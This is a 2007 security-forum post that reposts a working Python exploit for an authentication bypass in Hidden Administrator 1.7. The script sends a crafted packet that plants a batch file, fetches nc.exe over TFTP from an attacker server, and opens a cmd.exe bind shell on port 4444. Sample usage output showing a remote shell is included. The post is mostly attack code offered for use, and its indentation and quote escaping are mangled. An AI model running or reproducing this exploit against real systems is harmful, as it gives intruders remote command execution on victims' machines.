邪恶八进制信息安全团队技术讨论组 » 安全测试代码{ Exploits and Shellcode } » Rational Software Hidden Administrator 1.7 Auth Bypass Exploit [查看完整版本]

pub!1c 2007-5-23 12:02

Rational Software Hidden Administrator 1.7 Auth Bypass Exploit

[code]####################################################################################
#      Hidden Administrator Authenticaiton Bypass Exploit           #
#          ahmed[at]rewterz.com                      #
#      [url]http://www.securityfocus.com/bid/24049[/url]                #
#                                         #
# C:\>python rewt-ha-exp.py                            #
# Usage: rewt-ha-exp.py -h <host ip> -p <port> -t <tftpd server ip>        #
# make sure nc.exe exists on tftpd server                     #
#                                         #
# C:\>telnet 192.168.1.4 4444                           #
# C:\>python rewt-ha-exp.py -h 192.168.1.4 -p 3128 -t 192.168.1.105        #
# [+] Connecting to 192.168.1.4                          #
# [+] Uploading Files                               #
# [+] DONE [+]                                   #
# [+] Now Connect to port 4444 on victim IP !!!                  #
#                                         #
# C:\>telnet 192.168.1.4 4444                           #
# Microsoft Windows XP [Version 5.1.2600]                     #
# (C) Copyright 1985-2001 Microsoft Corp.                     #
# C:\ha_server>                                  #
####################################################################################


import socket
import struct
import time
import sys
import getopt


def usage():
  print "\n"
  print "######################################################"
  print "# Hidden Administrator Authentication Bypass Exploit #"
  print "#      Coded By ahmed[at]rewterz.com      #"
  print "######################################################"
  print "\n"
  print "Usage: %s -h <host ip> -p <port> -t <tftpd server ip>" % sys.argv[0]
  print "make sure nc.exe exists on tftpd server\n"

def exploit():
  h ="%X" % (130+len(tftpd))
    buff1=&#39;_file_manager_operations_copy_files_Loc_Rem_c:\\^file\r\n\x0brewt_ha.bat&#39;
  buff1+=&#39;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#39;
  buff1+=&#39;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#39;
  buff1+=&#39;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#39;
  buff1+=&#39;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#39;
  buff1+=&#39;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#39;
  buff1+=&#39;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#39;
  buff1+=&#39;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#39;
  buff1+=&#39;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#39;
  buff1+=&#39;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#39;
  buff1+=&#39;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#39;
  buff1+=&#39;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#39;
  buff1+=&#39;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#39;
  buff1+=&#39;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#39;
  buff1+=&#39;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#39;
  buff1 += (&#39;\\x&#39; + h).decode(&#39;string_escape&#39;)
  buff1 += &#39;\x00\x00\x00\x00\x00\x00\x00&#39;
  buff1+=&#39;\x00tftp -i &#39; + tftpd + &#39; GET nc.exe c:\\nc.exe              &#39;
  buff1+=&#39;\r\nc:\\nc.exe -L -d -p 4444 -e cmd.exe         \r\n\r\n     &#39;
  buff1+=&#39;   \r\n\r\n_file_manager_operations_get_cur_dir_c:\r\n&#39;
  try:
    print "[+] Connecting to %s" %host
      s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect((host,int(port)))
    print "[+] Uploading Files"
    s.send(buff1)
      time.sleep(2)
      s.send(&#39;+run_C:\\rewt_ha.bat|\r\n&#39;)
      time.sleep(1)
      print "[+] DONE [+]"
        print "[+] Now Connect to port 4444 on victim IP !!!"
  except:
    print "[+] Could not connect to the server"


if len(sys.argv)<7:
    usage()
    sys.exit()
try:
    options = getopt.getopt(sys.argv[1:], &#39;h:p:t:&#39;)[0]
except getopt.GetoptError, err:
    print err
    usage()
    sys.exit()


for option, value in options:
    if option == &#39;-h&#39;:
      host = value
    if option == &#39;-p&#39;:
      port = int(value)
    if option == &#39;-t&#39;:
      tftpd=value
exploit()


[/code]

查看完整版本: Rational Software Hidden Administrator 1.7 Auth Bypass Exploit

© 1999-2008 EvilOctal Security Team